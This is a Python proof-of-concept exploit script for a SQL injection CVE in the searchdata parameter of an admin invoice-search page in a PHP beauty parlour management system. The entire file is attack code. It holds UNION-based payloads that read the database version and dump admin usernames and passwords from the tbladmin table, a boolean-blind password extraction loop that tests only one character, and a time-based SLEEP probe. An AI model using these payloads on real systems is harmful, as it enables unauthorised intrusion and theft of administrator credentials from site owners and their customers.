# CVE-2025-11507 PoC - SQL Injection in PHPGurukul Beauty Parlour Management System 1.1
# Vulnerable file: /admin/search-invoices.php
# Vulnerable parameter: searchdata
import requests
TARGET_URL = "http://target.com"
VULN_PATH = "/admin/search-invoices.php"
def exploit_sql_injection(target_url, searchdata_payload):
"""
Exploit SQL injection via searchdata parameter
"""
url = target_url + VULN_PATH
params = {
"searchdata": searchdata_payload
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
try:
response = requests.get(url, params=params, headers=headers, timeout=10)
return response.text
except requests.exceptions.RequestException as e:
print(f"Request failed: {e}")
return None
def extract_database_version(target_url):
"""Extract MySQL version using UNION-based injection"""
# Determine number of columns first
payload = "' UNION SELECT @@version,2,3,4,5,6,7,8,9,10-- -"
return exploit_sql_injection(target_url, payload)
def extract_admin_credentials(target_url):
"""Extract admin username and password"""
payload = "' UNION SELECT 1,username,password,4,5,6,7,8,9,10 FROM tbladmin-- -"
return exploit_sql_injection(target_url, payload)
def boolean_based_blind_injection(target_url):
"""Boolean-based blind SQL injection to extract data character by character"""
result = ""
for i in range(1, 50):
# Test if the i-th character of the first admin password starts with common chars
payload = f"' AND SUBSTRING((SELECT password FROM tbladmin LIMIT 0,1),{i},1)='a"
response = exploit_sql_injection(target_url, payload)
if response and "invoice" in response.lower():
result += "a"
print(f"[+] Found char at position {i}: a")
return result
def time_based_blind_injection(target_url):
"""Time-based blind SQL injection"""
payload = "' OR SLEEP(5)-- -"
import time
start = time.time()
response = exploit_sql_injection(target_url, payload)
elapsed = time.time() - start
if elapsed >= 5:
print(f"[+] Time-based injection confirmed! Elapsed: {elapsed:.2f}s")
return True
return False
if __name__ == "__main__":
print(f"[*] Targeting: {TARGET_URL}")
print(f"[*] Vulnerable endpoint: {VULN_PATH}")
print(f"[*] Vulnerable parameter: searchdata")
print()
# Test basic injection
print("[*] Testing UNION-based injection...")
result = extract_database_version(TARGET_URL)
if result:
print(f"[+] Response length: {len(result)}")
print(f"[+] Response preview: {result[:500]}")
# Test time-based injection
print("\n[*] Testing time-based blind injection...")
time_based_blind_injection(TARGET_URL)
# Extract admin credentials
print("\n[*] Attempting to extract admin credentials...")
creds = extract_admin_credentials(TARGET_URL)
if creds:
print(f"[+] Response: {creds[:1000]}")